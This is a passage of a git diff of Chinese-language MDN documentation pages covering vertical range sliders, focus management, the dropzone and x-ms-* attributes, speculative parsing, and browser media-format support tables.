外观特性

- -

{{cssxref('appearance')}}属性具有非标准值的slider-vertical可以使滑块垂直。

- -

HTML

- -

我们使用与前面的示例相同的HTML:

- -
<input type="range" min="0" max="11" value="7" step="1">
-
- -

CSS

- -

我们仅针对具有范围类型的输入:

- -
input[type="range"] {
-  -webkit-appearance: slider-vertical;
-}
- -

{{EmbedLiveSample("appearance_property", 200, 200)}}

- -

定向属性

- -

仅在Firefox中,有一个非标准的 orient 属性。

- -

HTML

- -

使用与前面示例类似的HTML,我们添加属性值为 vertical:

- -
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
-
- -

{{EmbedLiveSample("orient_attribute", 200, 200)}}

- -

写作模式:bt-lr;

- -

The {{cssxref('writing-mode')}} 属性通常不应用于出于国际化或本地化目的更改文本方向,而可以用于特殊效果。

- -

HTML

- -

我们使用与前面的示例相同的HTML:

- -
<input type="range" min="0" max="11" value="7" step="1">
-
- -

CSS

- -

我们仅以范围为类型的输入作为目标,将写入模式从默认更改为 bt-lr, 或从下至上和从左至右:

- -
input[type="range"] {
-  writing-mode: bt-lr;
-}
- -

{{EmbedLiveSample("writing-mode_bt-lr", 200, 200)}}

- -

放在一起

- -

由于上述每个示例都在不同的浏览器中工作,因此您可以将所有示例放在一个示例中,以使其在跨浏览器中工作:

- -

HTML

- -

对于Firefox,我们将orient属性的值保持为vertical:

- -
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
-
- -

CSS

- -

对于Edge和Internet Explorer,我们仅将输入类型作为目标,将写入模式从默认更改为 bt-lr, 或者从下至上,从左至右,然后添加 -webkit-appearance: slider-vertical用于所有基于-webkit的浏览器:

- -
input[type="range"] {
-  writing-mode: bt-lr;
-  -webkit-appearance: slider-vertical;
-}
- -

{{EmbedLiveSample("Putting_it_all_together", 200, 200)}}

- -

技术指标

- - - - - - - - - - - - - - - - - - - - - -
规格状态评论
{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '<input type="range">')}}{{Spec2('HTML WHATWG')}}最初的定义
{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '<input type="range">')}}{{Spec2('HTML5.1')}}最初的定义
- -

浏览器兼容性

- - - -

{{Compat("html.elements.input.input-range")}}

- -

另请参考

- - diff --git a/files/zh-cn/web/html/focus_management_in_html/index.html b/files/zh-cn/web/html/focus_management_in_html/index.html deleted file mode 100644 index df29adde76..0000000000 --- a/files/zh-cn/web/html/focus_management_in_html/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: HTML 焦点管理 -slug: Web/HTML/Focus_management_in_HTML -tags: - - DOM - - HTML - - HTML5 - - 焦点 -translation_of: Web/API/Document/hasFocus -translation_of_original: Web/HTML/Focus_management_in_HTML ---- -

重定向 Document.hasFocus()

- -

 

- -

在 HTML5 工作草案中,DOM 属性 activeElement 与方法 hasFocus() 为程序员提供了更好的控制页面交互的能力,特别是对于用户行为引发的交互。例如,它们都可以用于统计使用目的,跟踪页面特定链接的点击次数,计算元素获得焦点的次数等等。此外,当与 AJAX 技术结合以后,将会减少向服务器请求的数目,这取决于用户的活跃程度和页面的布局。

- -

浏览器兼容性

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("1.9.2")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

浏览器相关注释

- -

Gecko notes

- -

[1] Gecko 8.0 {{geckoRelease("8.0")}} 开始,Firefox 会在任意 tabindex 值大于 0 的元素周围绘制一个焦点框,而不只是一小部分元素。一部分元素例外: {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, {{HTMLElement("iframe")}}, {{HTMLElement("frame")}}, {{HTMLElement("body")}} 和 {{HTMLElement("html")}}。

- -

另请参阅

- -
    -
  • {{domxref("document.activeElement")}}
  • -
  • {{domxref("document.hasFocus")}}
  • -
diff --git a/files/zh-cn/web/html/global_attributes/dropzone/index.html b/files/zh-cn/web/html/global_attributes/dropzone/index.html deleted file mode 100644 index 316e41a944..0000000000 --- a/files/zh-cn/web/html/global_attributes/dropzone/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: dropzone -slug: Web/HTML/Global_attributes/dropzone -translation_of: Web/HTML/Global_attributes/dropzone ---- -

{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}

- -

dropzone 全局属性 是个枚举属性,表示什么内容类型可以拖放到元素上,使用 Drag and Drop API,它可以拥有以下值:

- -
    -
  • copy,它表明拖放行为会创建被拖放元素的副本。
  • -
  • move,它表明被拖放元素会移动到新的位置。
  • -
  • link,它会创建被拖放数据的链接。 
  • -
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML WHATWG')}}与最新的快照{{SpecName('HTML5.1')}} 没有区别
{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML5.1')}}{{SpecName('HTML WHATWG')}} 的快照,最初定义
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{ CompatUnknown() }}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{ CompatUnknown() }}{{ CompatUnknown}}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

另见

- - diff --git a/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html new file mode 100644 index 0000000000..b44ded3590 --- /dev/null +++ b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html @@ -0,0 +1,41 @@ +--- +title: x-ms-加速装置键 +slug: Web/HTML/Global_attributes/x-ms-加速装置键 +tags: + - HTML + - 参考 + - 属性 + - 无标准的 +translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey +--- +
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
+ +

 x-ms-acceleratorkey 属性声明 accelerator key 已经分配给一个元素: 当按下键盘上的键时,通过JavaScript激活该元素。

+ +

{{Non-standard_Inline}} 此专有属性是特定于 Internet Explorer 和 Microsoft Edge的。

+ +

对于屏幕阅读器和其他辅助技术,x-ms-acceleratorkey  在可访问性树中公开一个通知,即该元素存在一个加速器键。此属性不提供加速器键行为。必须提供JavaScript事件处理程序,如onkeypress, onkeydown, 或者 onkeyup, 来侦听声明的加速器键并相应地激活元素。

+ +

为下列元素提供键盘快捷方式:不需要JavaScript的,请使用 the accesskey 属性

+ +

语法

+ +
<button x-ms-acceleratorkey="[explanation of key combination]">…</button>
+ +

价值

+ +

加速器键组合。例如:

+ +
    +
  • "Ctrl+B" 的组合 Ctrl 和 B 秘钥。
  • +
  • "J" 只是为了 J 钥匙。
  • +
  • "Ctrl+; then K" 的快捷方式,类似于 FogBugz的就键盘模式。这种方法比较复杂,但不覆盖用户浏览器或操作系统提供的现有键盘快捷键。 
  • +
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html new file mode 100644 index 0000000000..c36b3ca744 --- /dev/null +++ b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html @@ -0,0 +1,43 @@ +--- +title: x-ms-格式-检测 +slug: Web/HTML/Global_attributes/x-ms-格式-检测 +tags: + - HTML + - x-ms-format-detection + - 参考 + - 属性 +translation_of: Web/HTML/Global_attributes/x-ms-format-detection +--- +
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
+ +

这个 x-ms-format-detection 属性确定元素文本中的数据格式(如电话号码)是否自动转换为可跟踪链接。

+ +

现有的链接(例如带有tel: 计划不受影响。

+ +
+

通过格式检测创建的链接不会出现在DOM中。

+
+ +

{{Non-standard_inline}} 此专有属性是特定于 Internet Explorer 和Microsoft Edge。

+ +

语法

+ +
<html x-ms-format-detection="none">
+
+ +

价值

+ +
+
all
+
检测所有受支持的数据格式。
+
none
+
关闭格式检测。
+
phone
+
电话号码模式是自动链接的。
+
+ +

另请详见

+ + diff --git "a/files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" "b/files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" deleted file mode 100644 index b44ded3590..0000000000 --- "a/files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: x-ms-加速装置键 -slug: Web/HTML/Global_attributes/x-ms-加速装置键 -tags: - - HTML - - 参考 - - 属性 - - 无标准的 -translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey ---- -
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
- -

 x-ms-acceleratorkey 属性声明 accelerator key 已经分配给一个元素: 当按下键盘上的键时,通过JavaScript激活该元素。

- -

{{Non-standard_Inline}} 此专有属性是特定于 Internet Explorer 和 Microsoft Edge的。

- -

对于屏幕阅读器和其他辅助技术,x-ms-acceleratorkey  在可访问性树中公开一个通知,即该元素存在一个加速器键。此属性不提供加速器键行为。必须提供JavaScript事件处理程序,如onkeypress, onkeydown, 或者 onkeyup, 来侦听声明的加速器键并相应地激活元素。

- -

为下列元素提供键盘快捷方式:不需要JavaScript的,请使用 the accesskey 属性

- -

语法

- -
<button x-ms-acceleratorkey="[explanation of key combination]">…</button>
- -

价值

- -

加速器键组合。例如:

- -
    -
  • "Ctrl+B" 的组合 Ctrl 和 B 秘钥。
  • -
  • "J" 只是为了 J 钥匙。
  • -
  • "Ctrl+; then K" 的快捷方式,类似于 FogBugz的就键盘模式。这种方法比较复杂,但不覆盖用户浏览器或操作系统提供的现有键盘快捷键。 
  • -
- -

另请参阅

- - diff --git "a/files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" "b/files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" deleted file mode 100644 index c36b3ca744..0000000000 --- "a/files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: x-ms-格式-检测 -slug: Web/HTML/Global_attributes/x-ms-格式-检测 -tags: - - HTML - - x-ms-format-detection - - 参考 - - 属性 -translation_of: Web/HTML/Global_attributes/x-ms-format-detection ---- -
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
- -

这个 x-ms-format-detection 属性确定元素文本中的数据格式(如电话号码)是否自动转换为可跟踪链接。

- -

现有的链接(例如带有tel: 计划不受影响。

- -
-

通过格式检测创建的链接不会出现在DOM中。

-
- -

{{Non-standard_inline}} 此专有属性是特定于 Internet Explorer 和Microsoft Edge。

- -

语法

- -
<html x-ms-format-detection="none">
-
- -

价值

- -
-
all
-
检测所有受支持的数据格式。
-
none
-
关闭格式检测。
-
phone
-
电话号码模式是自动链接的。
-
- -

另请详见

- - diff --git a/files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html b/files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html deleted file mode 100644 index bded58d8fd..0000000000 --- a/files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 对页面预解析进行优化 -slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing -translation_of: Glossary/speculative_parsing ---- -

在传统的浏览器中,HTML 解析器运行于主线程之中,并且在遇到 </script> 标签后会被阻塞,直到脚本从网络中被获取和执行。 Firefox 4 和后续的版本支持从主线程中分离的预解析技术。 当脚本在获取和执行的过程中,预解析技术能提前解析HTML文档。在Firefox 3.5 和 3.6中, HTML 解析器能够在文档流中预先加载脚本、层叠样式表和图片。然而, 在Firefox 4 和后续的版本中 HTML 解析器也预先运行HTML 树构建算法。 这一举措的优点是当预解析成功后,就没有必要再重新解析已经扫描过并且成功下载的脚本,层叠样式表和图片;缺点就是当预解析失败之后,有很多工作需要去做。

- -

这篇文档旨在帮助你避免预解析失败和页面加载变慢。

- -

使预加载成功

- -

让脚本、层叠样式表和图片预加载成功的规则只有一条:

- -
    -
  • 如果你使用 <base> 元素重载页面的基 URI,将这个元素放置到文档的非脚本部分。不要通过 document.write() 或者 document.createElement() 添加.
  • -
- -

避免树构建器的输出丢失

- -

当document.write() 改变了文档树的状态时,树构建器的预构建过程会失败。 例如,当所有被document.write() 插入的内容被解析之后</script> 标签后的预处理状态不再持有。 然而,只有不寻常地使用 document.write() 才会产生问题。 这些事情需要避免:

- -
    -
  • 不要写不对称的文档树。<script>document.write("<div>");</script> 很糟糕。<script>document.write("<div></div>");</script> 则是可行的。
  • -
  • 不要写未完成的标识。 <script>document.write("<div></div");</script> 很糟糕。
  • -
  • 不要以回车结束内容。 <script>document.write("Hello World!\r");</script> 很糟糕。​​​​​​​ <script>document.write("Hello World!\n");</script> 则是可行的。
  • -
  • 注意即使对称的标签也可能导致文档的不对称。 比如:head 元素中的<script>document.write("<div></div>");</script> i会被解析成 <script>document.write("</head><body><div></div>");</script> 因次文档是不对称的。
  • -
  • 不要仅格式化部分表格。 <table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table> 很糟糕。然而, <script>document.write("<table><tr><td>Hello World!</td></tr></table>");</script> 则是可行的。
  • -
  • TODO: 在其它格式化元素中使用document.write。
  • -
diff --git a/files/zh-cn/web/html/supported_media_formats/index.html b/files/zh-cn/web/html/supported_media_formats/index.html deleted file mode 100644 index d6a5d3753e..0000000000 --- a/files/zh-cn/web/html/supported_media_formats/index.html +++ /dev/null @@ -1,563 +0,0 @@ ---- -title: 'HTML的媒体支持:audio和video元素' -slug: Web/HTML/Supported_media_formats -tags: - - HTML Media Video Audio -translation_of: Web/Media/Formats -translation_of_original: Web/HTML/Supported_media_formats ---- -

    {{HTMLElement("audio")}} 和 {{HTMLElement("video")}}是浏览器内置的播放音频或视频的元素;视频和音频编解码器用来处理视频和音频,不同的编解码器提供不同级别的压缩率和分辨率;一个容器封装格式(多媒体容器格式)用来存储和传输编码后的视频和音频(如果视频带有音轨则同时;编解码器和多媒体容器格式有非常多的组合;尽管只有很少部分和WEB相关;
-    
-     由于专利的问题,不同的浏览器对HTML5的video和audio有不同的规范和实现;WEB上的媒体格式领域受到在包括美国、欧盟在内的许多国家的专利法的保护和制约;本文将讨论了不同的编解码器和封装格式在WEB上的各种组合,包括在桌面设备和其他设备上的浏览器的支持情况。

- -

     想要在HTML5中播放视频,并且主流浏览器的最新版本中支持良好;可以使用WebM 和 MPEG H.264 AAC 编码格式;像下面一样使用{{HTMLElement("source")}}元素

- -
<video controls>
-  <source src="somevideo.webm" type="video/webm">
-  <source src="somevideo.mp4" type="video/mp4">
-  I'm sorry; your browser doesn't support HTML5 video in WebM with VP8/VP9 or MP4 with H.264.
-  <!-- You can embed a Flash player here, to play your mp4 video in older browsers -->
-</video>
-
- -

- -

Ogg Theora Vorbis

- -

Ogg容器格式使用Theora视频编解码器和 Vorbis音频编解码器。在的桌面和移动端的Gecko(Firefox),Chrome和Opera;Safari(非IOS)可以通过添加扩展支持;但是不支持IE

- -

WebM在可选的情况下是优选项;因为它能提供更高的压缩比,并且被更多的浏览器所支持;而Ogg容器格式主要用于支持低版本的浏览器(比如: Firefox 3.5/3.6就不支持WebM,但是支持Ogg)

- -

Ogg的授权情况和WebM类似

- -

Gecko提供下面3种Ogg文件格式的MIME type:

- -

audio/ogg

- -

一个只包含音频的Ogg文件

- -

video/ogg

- -

一个包含视频或音频的Ogg文件

- -

application/ogg

- -

一个不指定内容的Ogg文件,当你不知道内容的时候可以选择

- -

Ogg Opus

- -

Ogg容器可以通过使用Opus codec包含音频编解码器;用来支持Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) 或更新的版本

- -

Ogg FLAC

- -

Ogg容器可以通过使用FLAC codec包含音频编解码器;用来支持Gecko 51.0 {{geckoRelease("51.0")}} 或更新的版本, 但只适用于桌面浏览器

- -

MP4 FLAC

- -

从Firefox 51开始,你就可以使用FLAC编解码器播放MP4了,不管你有没有安装 MediaSource Extensions和DRM 扩展支持。

- -

MP3

- -

MP3 audio 编码对应浏览器<audio>的支持。其中Firefox/Firefox for Android/Firefox OS需要操作系统本身提供了MP3的解码器;而IE,Chrome,Safari则原生支持

- -

WAVE PCM

- -

WAVE容器使用PCM音频编解码器;桌面和移动Gecko (Firefox) a、 Safari都支持,WAVE容器中的文件后缀为 ".wav"。

- -
See RFC 2361 for the WAVE codec registry.
- -

Gecko提供下面4种WAVE文件格式的MIME type:

- -
    -
  • audio/wave (preferred; does not work in Chrome)
  • -
  • audio/wav
  • -
  • audio/x-wav
  • -
  • audio/x-pn-wav
  • -
- -

FLAC

- -

FLAC容器格式使用 FLAC 音频编解码器 (FLAC codec);桌面端受到Gecko Firefox 51.0 (Firefox 51.0 / Thunderbird 51.0 / SeaMonkey 2.48)的支持,文件后缀为 “.flac”

- -

Gecko提供下面4种FLAC文件格式的MIME type:

- -
    -
  • audio/flac (preferred)
  • -
  • audio/x-flac
  • -
- -

Media Source Extensions (MSE)

- -

媒体源扩展(MSE)是一个W3C工作草案,计划扩展{{domxref("HTMLMediaElement")}}以允许JavaScript生成用于重放的媒体流。 允许JavaScript生成流以适应各种应用场景,如自适应流和时移实时流。 MSE支持仅限于MP4和WebM容器,但编解码器支持因底层平台而异。

- -

例如:可以使用JavaScript实现MPEG-DASH,同时将解码解压缩到MSE。
-
- For example, you could implement MPEG-DASH using JavaScript while offloading the decoding to MSE.

- -
-

时间位移(Time shifting) 功能主要是将即时内容,录制在存储器上,可以暂时离开,一定时间回来后,可以从离开的时间通过内部的重播。

-
- -

浏览器兼容情况

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support3.0{{CompatGeckoDesktop("1.9.1")}}9.010.503.1
<audio>: PCM in WAVE{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.503.1
<audio>: Vorbis in WebM{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatNo}}10.603.1[1]
<audio>: Streaming Vorbis/Opus in WebM via MSE{{CompatUnknown}}{{CompatGeckoDesktop("36.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: Vorbis in Ogg{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.50{{CompatNo}}
<audio>: MP3{{CompatVersionUnknown}}[4]{{CompatVersionUnknown}}[5]9.0{{CompatVersionUnknown}}3.1
<audio>: MP3 in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
<audio>: AAC in MP4{{CompatVersionUnknown}}[6]{{CompatVersionUnknown}}[7]9.0{{CompatVersionUnknown}}3.1
<audio>: Opus in Ogg27.0{{CompatGeckoDesktop("15.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: FLAC56.0{{CompatGeckoDesktop("51")}}{{CompatNo}}{{CompatNo}}11
<audio>: FLAC in Ogg56.0{{CompatGeckoDesktop("51")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
<video>: VP8 and Vorbis in WebM6.0{{CompatGeckoDesktop("2.0")}}9.0[8]10.603.1[9]
<video>: VP9 and Opus in WebM29.0{{CompatGeckoDesktop("28.0")}}[36]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
<video>: Streaming WebM via MSE{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}}[35]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Theora and Vorbis in Ogg{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.50{{CompatNo}}
<video>: H.264 and MP3 in MP4{{CompatVersionUnknown}}[3]{{CompatVersionUnknown}}[10]9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
<video>: H.264 and AAC in MP4{{CompatVersionUnknown}}[4]{{CompatVersionUnknown}}[11]9.0{{CompatVersionUnknown}}3.1
<video>: FLAC in MP462.0{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
any other format{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}3.1[12]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileOpera MiniSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatChrome(29)}}24.01.0.110.011.0{{CompatVersionUnknown}}[13]3.2
<audio>: PCM in WAVE{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[14]3.2
<audio>: Vorbis in WebM{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}11.0{{CompatVersionUnknown}}[15]{{CompatNo}}
<audio>: Streaming Vorbis in WebM via MSE{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: Vorbis in Ogg{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}11.0{{CompatVersionUnknown}}[16]{{CompatNo}}
<audio>: MP3{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[17]{{CompatVersionUnknown}}[18]10.0{{CompatUnknown}}{{CompatVersionUnknown}}[19]3.2
<audio>: MP3 in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
<audio>: AAC in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[20]{{CompatVersionUnknown}}[21]10.0{{CompatUnknown}}{{CompatVersionUnknown}}[22]{{CompatVersionUnknown}}
<audio>: Opus in Ogg{{CompatNo}}71.024.0{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[23]{{CompatNo}}
<video>:  VP8 and Vorbis in WebM{{CompatVersionUnknown}}{{CompatChrome(29)}}24.01.0.1{{CompatNo}}16.0{{CompatVersionUnknown}}[24]{{CompatNo}}
<video>: VP9 and Opus in WebM{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Streaming WebM via MSE{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Theora and Vorbis in Ogg{{CompatNo}}{{CompatNo}}24.01.0.1{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[25]{{CompatNo}}
<video>:  H.264 and MP3 in MP4{{CompatVersionUnknown}}[26]{{CompatChrome(29)}}24.0[33]{{CompatVersionUnknown}}[27]10.016.0[28]{{CompatVersionUnknown}}[29]{{CompatVersionUnknown}}
<video>: H.264 and AAC in MP4{{CompatVersionUnknown}}[30]{{CompatChrome(29)}}24.0[34]{{CompatVersionUnknown}}[31]10.016.0[28]{{CompatVersionUnknown}}[32]3.2
<video>: FLAC in MP4{{CompatUnknown}}62.0{{CompatGeckoMobile(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
any other format{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] Must be installed separately.

- -

[2] In Nightly/Dev Edition only.

- -

[3] Only on platforms that don't support H.264.

- -

[4] AAC is only supported in the MP4 container. Not in Chromium.

- -

[5] To avoid patent issues, support for MP3 is not built directly into Firefox. Instead it relies on support from the OS. Firefox supports this format on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[6] Main only. Not in Chromium. AAC is only supported in the MP4 container.

- -

[7] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[8] must be installed separately, e.g. WebM MF.

- -

[9] Must be installed separately, e.g. Perian.

- -

[10] To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[11] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4, H.264 and AAC is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[12] Plays all formats available via QuickTime.

- -

[13] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[14] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[15] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[16] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[17] To avoid patent issues, support for MP3 is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware.

- -

[18] To avoid patent issues, support for MP3 is not built directly into Firefox OS. Instead it relies on support from the OS or hardware.

- -

[19] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[20] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[21] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[22] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats. AAC is only supported in the MP4 container.

- -

[23] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[24] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[25] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[26] To get the default Android browser to play H.264 video, you need to jump through some hoops, as explained by Peter Gasston.

- -

[27] In Firefox OS 1.0.1, when detecting <video> support for different formats, HTMLMediaElement.prototype.canPlayType incorrectly reports true for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed.
- To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox Mobile (Android) and Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[28] Partial since 11.0. AAC is only supported in the MP4 container.

- -

